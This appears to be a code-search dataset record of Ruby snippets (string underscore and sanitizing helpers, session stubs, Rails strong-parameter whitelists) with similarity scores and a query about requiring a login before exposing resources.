"def underscorize\n self.gsub(\" \",\"_\")\n end",
"def underscore\n gsub(/::/, '/').gsub(/([A-Z]+)([A-Z][a-z])/, '\\1_\\2').gsub(/([a-z\\d])([A-Z])/, '\\1_\\2').tr('-', '_').downcase\n end",
"def ignoring\n %w{*_test.lua *_spec.lua .*}\n end",
"def name_with_underscores\n name.gsub(\" \", \"_\")\n end",
"def underscore!\n gsub!('::', '_')\n gsub!(/([A-Z\\d]+)([A-Z][a-z])/, '\\1_\\2')\n gsub!(/([a-z\\d])([A-Z])/, '\\1_\\2')\n downcase!\n end",
"def underscore\n gsub(/::/, '/').\n gsub(/([A-Z]+)([A-Z][a-z])/, '\\1_\\2').\n gsub(/([a-z\\d])(A-Z)/, '\\1_\\2').\n tr('-', '_').downcase\n end",
"def _(text)\n text\n end",
"def underscore\n self.dup.underscore!\n end",
"def underscore(str)\n str.to_s.gsub(/\\B[A-Z](?:[a-z])/, '_\\&').downcase\n end",
"def _not_here_\n 'not here'\nend",
"def underscore\n self.gsub(/::/, '/').\n gsub(/([A-Z]+)([A-Z][a-z])/,'\\1_\\2').\n gsub(/([a-z\\d])([A-Z])/,'\\1_\\2').\n tr(\"-\", \"_\").\n downcase\n end",
"def underscore_name(name)\n name.to_s.sub(/.*::/, \"\").\n gsub(/([A-Z]+)([A-Z][a-z])/,'\\1_\\2').\n gsub(/([a-z\\d])([A-Z])/,'\\1_\\2').\n tr(\"-\", \"_\").\n downcase\n end",
"def underscore\n Bodhi::Support.underscore(self.class.name)\n end",
"def uglify\n self.gsub(' ', '_').downcase\n end",
"def underscore\n self.to_s.gsub(/::/, '/').\n gsub(/([A-Z]+)([A-Z][a-z])/,'\\1_\\2').\n gsub(/([a-z\\d])([A-Z])/,'\\1_\\2').\n tr(\"-\", \"_\").\n downcase\n end",
"def underscore\n\t self.to_s.gsub(/::/, '/').\n\t gsub(/([A-Z]+)([A-Z][a-z])/,'\\1_\\2').\n\t gsub(/([a-z\\d])([A-Z])/,'\\1_\\2').\n\t tr(\"-\", \"_\").\n\t downcase\n\tend",
"def underscore\n\t self.to_s.gsub(/::/, '/').\n\t gsub(/([A-Z]+)([A-Z][a-z])/,'\\1_\\2').\n\t gsub(/([a-z\\d])([A-Z])/,'\\1_\\2').\n\t tr(\"-\", \"_\").\n\t downcase\n\tend",
"def underscore_fix_for_related_urls(key)\n if key == 'RelatedURLs'\n 'related_urls'\n else\n key.underscore\n end\n end",
"def underscore!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 42 )\n\n type = UNDERSCORE\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 178:4: '_'\n match( 0x5f )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 42 )\n\n end",
"def to_underscore(string)\n string.to_s.gsub(/([A-Z][A-Z0-9]?)/) { '_' + $1.downcase }.gsub(/^_|\\s_/, ' ').gsub(/^\\s/, '')\nend",
"def chomp_underscore_for_partials?\n @chomp_underscore_for_partials || false\n end",
"def underscore(word)\n word.gsub(/::/, '/').\n gsub(/([A-Z]+)([A-Z][a-z])/,'\\1_\\2').\n gsub(/([a-z\\d])([A-Z])/,'\\1_\\2').\n tr(\"-\", \"_\").\n downcase\n end",
"def neuter(s)\n s = s.strip.gsub(/[^a-zA-Z0-9]/, '_')\n s = s[1..-1] while s[0, 1] == '_'\n s = s[0..-2] while s[-1, 1] == '_'\n s\nend",
"def showTitle?(string)\n return string.start_with?(\"_\") ? false : true\n end",
"def clean_filename\n doc_file_name.gsub!(' ', '_')\n end",
"def underscore(str) # :doc:\n str.to_s. # allow symbols and strings\n gsub(/([A-Z]+)([A-Z][a-z])/, '\\1_\\2'). # underscore-delimit caps\n gsub(/([a-z\\d])\\s?([A-Z])/, '\\1_\\2'). # underscore-delimit words\n tr(\"-\", \"_\"). # dashes to underscores\n downcase. # everything lowercase\n to_sym # convert to symbol\n end",
"def clean_tag(name)\n name.gsub( /[^-.,_[:alnum:]]/, '_' )\n end",
"def underscore(name)\r\n s = name[0].downcase\r\n name[1,name.length].each_char do |ch|\r\n s += (ch.match(/[^A-Z]/) ? ch : \"_\"+ch.downcase)\r\n end\r\n return s\r\n end",
"def has_ignored_prefix?(text)\n IGNORED_TEXT_PREFIXES.each {|prefix|\n return true if text.start_with?(prefix)\n }\n return false\nend",
"def underscore\n new_string = gsub(NAMESPACE_SEPARATOR, UNDERSCORE_SEPARATOR)\n new_string.gsub!(/([A-Z\\d]+)([A-Z][a-z])/, UNDERSCORE_DIVISION_TARGET)\n new_string.gsub!(/([a-z\\d])([A-Z])/, UNDERSCORE_DIVISION_TARGET)\n new_string.gsub!(/[[:space:]]|\\-/, UNDERSCORE_DIVISION_TARGET)\n new_string.downcase!\n self.class.new new_string\n end",
"def underscore(klass)\n return klass unless /::/.match?(klass)\n\n word = klass.to_s.gsub('::'.freeze, '.'.freeze)\n word.gsub!(/([A-Z\\d]+)([A-Z][a-z])/, '\\1_\\2'.freeze)\n word.gsub!(/([a-z\\d])([A-Z])/, '\\1_\\2'.freeze)\n word.downcase!\n word\n end",
"def name_cleaner(raw_string)\n return raw_string.gsub(/[^A-Za-z0-9_\\-\\.]/, '_')\n end",
"def suggest_def_name(how)\n how.gsub!(/_+/,'_') # double underscores to one\n how.gsub!(/^_/, '') # if it begins with undrscore kill it.\n how.gsub!(/\\s+/, '_') # kill spaces if for some strange reason exist\n how = how[0,1].downcase << how[1,how.size] #downcase firs char\n end",
"def underscore\n word = self.dup\n word.gsub!(/::/, '/')\n word.gsub!(/([A-Z\\d]+)([A-Z][a-z])/,'\\1_\\2')\n word.gsub!(/([a-z\\d])([A-Z])/,'\\1_\\2')\n word.tr!(\"-\", \"_\")\n word.downcase!\n word\n end",
"def underscore(str)\n str.gsub(/.*::/,'').\n gsub(/([A-Z]+)([A-Z][a-z])/,'\\1_\\2').\n gsub(/([a-z\\d])([A-Z])/,'\\1_\\2').\n tr(\"-\", \"_\").\n downcase\n end",
"def underscore_name\n @underscore_name ||= self.class.name\n .split('::')\n .last\n .gsub(/([A-Z]+)([A-Z][a-z])/, '\\1_\\2')\n .gsub(/([a-z\\d])([A-Z])/, '\\1_\\2')\n .tr('-', '_')\n .downcase\n end",
"def hide_word(chosen_word)\n blank_word = chosen_word.gsub(/\\w/,\"_\")\n end",
"def suppress name\n name = /#{name}/ unless name.is_a? Regexp\n (@suppressed[@current] ||= []) << name\n end",
"def skip &block\n annotate block do |c|\n c unless @item_rep.name == :wordcount\n end\nend",
"def name_underscored\n self.name.gsub(' ', '_')\n end",
"def to_underscore\n downcase.gsub(%r{/}, '_')\n end",
"def underscore(class_name)\n class_name.gsub(/::/, '/').\n gsub(/([A-Z]+)([A-Z][a-z])/,'\\1_\\2').\n gsub(/([a-z\\d])([A-Z])/,'\\1_\\2').\n tr(\"-\", \"_\").\n downcase\n end",
"def ns_underscore\n to_s.underscore.gsub('/', '__')\n end",
"def underscore(s)\n s.gsub(/::/, '/').\n gsub(/([A-Z]+)([A-Z][a-z])/, '\\1_\\2').\n gsub(/([a-z\\d])([A-Z])/, '\\1_\\2').\n tr(\"-\", \"_\").\n downcase\n end",
"def sensu_safe(string)\n string.gsub(/[^\\w\\.-]+/, '_')\n end",
"def underscore\n\t\tcamel_cased_word = self\n\t\tword = camel_cased_word.to_s.dup\n\t\tword.gsub!(/::/, '/')\n#\t\tword.gsub!(/(?:([A-Za-z\\d])|^)(#{inflections.acronym_regex})(?=\\b|[^a-z])/) { \"#{$1}#{$1 && '_'}#{$2.downcase}\" }\n\t\tword.gsub!(/([A-Z\\d]+)([A-Z][a-z])/,'\\1_\\2')\n\t\tword.gsub!(/([a-z\\d])([A-Z])/,'\\1_\\2')\n\t\tword.tr!(\"-\", \"_\")\n\t\tword.downcase!\n\t\tword\n\tend",
"def underscore_flags?\n config[:underscore_flags]\n end",
"def underscore_search(input, list)\n if input.include?(\"_\")\n index = 0\n input.split('_').inject(list) {|new_list,e|\n new_list = new_list.select {|f| f.split(/_+/)[index] =~ /^#{Regexp.escape(e)}/ };\n index +=1; new_list\n }\n else\n list.grep(/^#{Regexp.escape(input)}/)\n end\n end",
"def underscore(a_word)\n u_word = a_word.dup\n u_word.gsub!(/::/, '/')\n u_word.gsub!(/([A-Z]+)([A-Z][a-z])/,'\\1_\\2')\n u_word.gsub!(/([a-z\\d])([A-Z])/,'\\1_\\2')\n u_word.tr!(\"-\", \"_\")\n u_word.downcase!\n u_word\nend",
"def _; end",
"def underscore(string)\n string.gsub(/::/, '/').\n gsub(/([A-Z]+)([A-Z][a-z])/,'\\1_\\2').\n gsub(/([a-z\\d])([A-Z])/,'\\1_\\2').\n tr(\"-\", \"_\").\n downcase\n end",
"def sanitise(str)\n str.gsub(/[^a-zA-Z0-1]+/, \"_\")[0, 20]\n end",
"def verbs\n playbook.verbs.map(&:to_s).reject { |v| v.start_with?('_') }\n end",
"def unmiga_name\n gsub(/_(str|sp|subsp|pv)__/,\"_\\\\1._\").tr('_', ' ')\n end",
"def underscorize!\n self.replace(self.scan(/[A-Z][a-z]*/).join(\"_\").downcase)\n end",
"def sanitize(name)\n #name.gsub(\".\", \"_\").gsub(/<.+>/, \"\")\n name.gsub(\".\", \"_\").gsub(\"$\", \"_\")\nend",
"def sanitize_label(label)\n label.gsub(%r![^a-z0-9_\\-.]!i, \"\")\n end",
"def should_be_skipped?(word)\n reject?(word) || hashtag?(word) || uri?(word) || mention?(word)\n end",
"def to_underscore(string)\n # TODO: complete\n string.to_s.gsub(/(.)([A-Z])/, '\\1_\\2').downcase\nend",
"def _sanitize_name(name)\n name.to_s.tr_s('^a-zA-Z0-9', '_')\n end",
"def underscore(str)\n str = require_string! str\n\n inflector.underscore(str)\n end",
"def does_not_contain_special str\n !(str.include?(\"#\") || str.include?(\"!\") || str.include?(\"$\"))\n end",
"def sanitize_like_value(value)\n value.gsub(/[\\\\_%|]/) { |x| \"\\\\#{x}\" }\n end",
"def underscore(camel_cased_word)\n return camel_cased_word unless /[A-Z-]|::/.match?(camel_cased_word)\n\n word = camel_cased_word.to_s.gsub('::', '/')\n word.gsub!(/([A-Z\\d]+)([A-Z][a-z])/, '\\1_\\2')\n word.gsub!(/([a-z\\d])([A-Z])/, '\\1_\\2')\n word.tr!('-', '_')\n word.downcase!\n word\n end",
"def words_to_skip_capitalization_of\n\t\t[ \n\t\t'of','a','the','and','an','or','nor','but','if','then','else','when','up','at','from','by','on',\n\t\t'off','for','in','out','over','to'\n\t\t]\n\tend",
"def underscore_string(str)\n str.to_s.strip.\n gsub(' ', '_').\n gsub(/::/, '/').\n gsub(/([A-Z]+)([A-Z][a-z])/,'\\1_\\2').\n gsub(/([a-z\\d])([A-Z])/,'\\1_\\2').\n tr(\"-\", \"_\").\n squeeze(\"_\").\n downcase\n end",
"def name_clean\n self.name.gsub(/_/, \" \")\n end",
"def underscore(string)\n string\n .to_s\n .gsub(/::/, \"/\")\n .gsub(/([A-Z]+)([A-Z][a-z])/, '\\1_\\2')\n .gsub(/([a-z\\d])([A-Z])/, '\\1_\\2')\n .tr(\"-\", \"_\")\n .downcase\n end",
"def underscore(string)\n string.gsub('::', '_')\n .gsub(/([A-Z]+)([A-Z][a-z])/, '\\1_\\2')\n .gsub(/([a-z\\d])([A-Z])/, '\\1_\\2')\n .tr('-', '_')\n .downcase\n end",
"def sanitize_similar_to_value(value)\n value.gsub(/[\\\\_%|*+?{}()\\[\\]]/) { |x| \"\\\\#{x}\" }\n end",
"def importable_wilds\n wilds.select {|w| Hash === w && w['IMPORT_TEMPLATE'] }\n end",
"def sanitize_filename(file_name)\r\n\t\tjust_filename = File.basename(file_name)\r\n\t\tjust_filename.sub(/[^\\w\\.\\-]/, '_')\r\n\tend",
"def underscore(camel_cased_word)\n return camel_cased_word unless /[A-Z-]|::/.match?(camel_cased_word)\n\n word = camel_cased_word.to_s.gsub('::', '/')\n word.gsub!(/([A-Z\\d]+)([A-Z][a-z])/, '\\1_\\2')\n word.gsub!(/([a-z\\d])([A-Z])/, '\\1_\\2')\n word.tr!('-', '_')\n word.downcase!\n word\n end",
"def underscore_string(str)\n str.to_s.gsub(/::/, '/').\n gsub(/([A-Z]+)([A-Z][a-z])/,'\\1_\\2').\n gsub(/([a-z\\d])([A-Z])/,'\\1_\\2').\n tr(\"-\", \"_\").\n downcase\n end",
"def to_underscore(string)\n string.to_s.gsub(/([A-Z])/) { \"_#{$1.downcase}\" }.gsub(/^_/,'')\nend",
"def not_capital?(skip_prefixed_underscores: false)\n self.decapitalized? skip_prefixed_underscores: skip_prefixed_underscores\n end",
"def allow_short_words\n not @emphasis[:ignore_short_words]\n end",
"def underscore(camel_cased_word)\n word = camel_cased_word.to_s.gsub('::', '/')\n word.gsub!(/([A-Z\\d]+)([A-Z][a-z])/,'\\1_\\2')\n word.gsub!(/([a-z\\d])([A-Z])/,'\\1_\\2')\n word.tr!(\"-\", \"_\")\n word.downcase!\n word\n end",
"def bewildr_classify\n self.split(\"_\").collect {|word| \"#{word[0].upcase}#{word[1..-1]}\"}.join\n end",
"def sanitize(name)\n name.gsub(\".\", \"_\")\nend",
"def to_underscore(s)\n s.gsub(/\\.|\\-/, '__')\n end",
"def sanitizeFilename(fn)\n fn.gsub(/[^-A-Za-z0-9_.]/, \"_\")[0,80]\nend",
"def prefix(path)\n path ? \"#{path.underscore}__\" : ''\n end",
"def underscore(camel_cased_word)\n camel_cased_word.to_s.gsub(/(.)([A-Z])/, '\\1_\\2').downcase\n end",
"def underscore_filename_for(path)\n File.basename(path, '.*').\n gsub(/[^a-zA-Z0-9]/, '_').\n concat(File.extname(path))\n end",
"def sanitized_category\n return category.underscore.gsub(/ /, '_').gsub(/[^a-z_0-9]/,'')\n end",
"def underscore(camel_cased_word)\n camel_cased_word.to_s.gsub(/::/, '/').\n gsub(/([A-Z]+)([A-Z][a-z])/,'\\1_\\2').gsub(/([a-z\\d])([A-Z])/,'\\1_\\2').\n tr(\"-\", \"_\").downcase\n end",
"def add_underscore_to(file)\n f = Pathname.new(file)\n if f.basename.to_s =~ /^_/\n file\n else\n \"#{f.dirname}/_#{f.basename}\"\n end\n end"
] |
[
"0.6749511",
"0.6742397",
"0.6455024",
"0.64129525",
"0.6198442",
"0.60999143",
"0.6082141",
"0.5985735",
"0.59701395",
"0.59653395",
"0.5923278",
"0.5905598",
"0.58992475",
"0.5886599",
"0.58702534",
"0.5805526",
"0.5800479",
"0.5789538",
"0.5768112",
"0.5757646",
"0.5717575",
"0.56829727",
"0.56574804",
"0.5644267",
"0.56261027",
"0.55943704",
"0.55787885",
"0.5578095",
"0.5578095",
"0.5563681",
"0.55455756",
"0.5508646",
"0.55084395",
"0.5503079",
"0.54991853",
"0.5470856",
"0.5455663",
"0.54451996",
"0.5420054",
"0.5410521",
"0.54102415",
"0.53917015",
"0.5380991",
"0.5376672",
"0.5372125",
"0.53653866",
"0.53626204",
"0.5348167",
"0.5345758",
"0.53435004",
"0.5337708",
"0.5334627",
"0.53226656",
"0.53202534",
"0.5308754",
"0.52997464",
"0.5295459",
"0.5289233",
"0.5286892",
"0.52863157",
"0.5282075",
"0.5275963",
"0.525388",
"0.5247967",
"0.52450657",
"0.5243618",
"0.5241166",
"0.52343446",
"0.5225765",
"0.5225659",
"0.5221366",
"0.52209085",
"0.5215781",
"0.5213095",
"0.5206449",
"0.52055126",
"0.51901317",
"0.51799077",
"0.5176136",
"0.5175435",
"0.5168452",
"0.5164674",
"0.5148359",
"0.5145468",
"0.5145149",
"0.5140137",
"0.51397574",
"0.51394653",
"0.51388377",
"0.5137627",
"0.51343775",
"0.5127305",
"0.5126513",
"0.51179355",
"0.511315",
"0.51063466",
"0.5103432",
"0.51032835",
"0.50970036",
"0.5088467"
] |
0.5105565
|
96
|
requiring a valid session before exposing any resources.
|
def require_login
return head(:forbidden) unless current_user || current_employee
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def open_session; end",
"def set_session\n \n end",
"def setup\n @current_session = new_session\n end",
"def session; end",
"def session; end",
"def session; end",
"def session; end",
"def session_begin(cred, mode)\n #This is a stub, used for indexing\n end",
"def setup\n open_session\n end",
"def setup_or_refresh_rest_session\n # Once we add retry/timeout logic the content of this method will change\n return unless @session.nil?\n @session = PuppetX::Cisco::APICRestClient.new(url: @apicuri,\n user: @user,\n password: @password,\n format: 'json',\n debug: @debug)\n end",
"def ensure_session_token\n self.session_token||=self.class.generate_session_token\n end",
"def materialize_if_needed\n if ended?\n raise Error::SessionEnded\n end\n\n return unless implicit? && !@server_session\n\n @server_session = cluster.session_pool.checkout\n\n self\n end",
"def using_session(name, &block)\n self.last_used_session = name\n super\n ensure\n self.last_used_session = nil\n end",
"def init_session\n before do\n path = defined?(init_session_path) ? init_session_path : '/'\n get(path)\n end\n end",
"def valid_session\r\n {}\r\n end",
"def session\n end",
"def ensure_session_token\n self.session_token ||= User.generate_session_token\nend",
"def valid_session\n { }\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end",
"def valid_session\n {}\n end"
] |
[
"0.65562886",
"0.65252805",
"0.6371064",
"0.63681054",
"0.63681054",
"0.63681054",
"0.63681054",
"0.6361802",
"0.62991863",
"0.6265073",
"0.62181467",
"0.6163355",
"0.6130341",
"0.6118251",
"0.6110032",
"0.6087858",
"0.60715157",
"0.6035674",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612",
"0.6031612"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def medicine_params
params.require(:medicine).permit(:rx_name, :pill_count, :pill_size, :employee_id, :pet_id)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
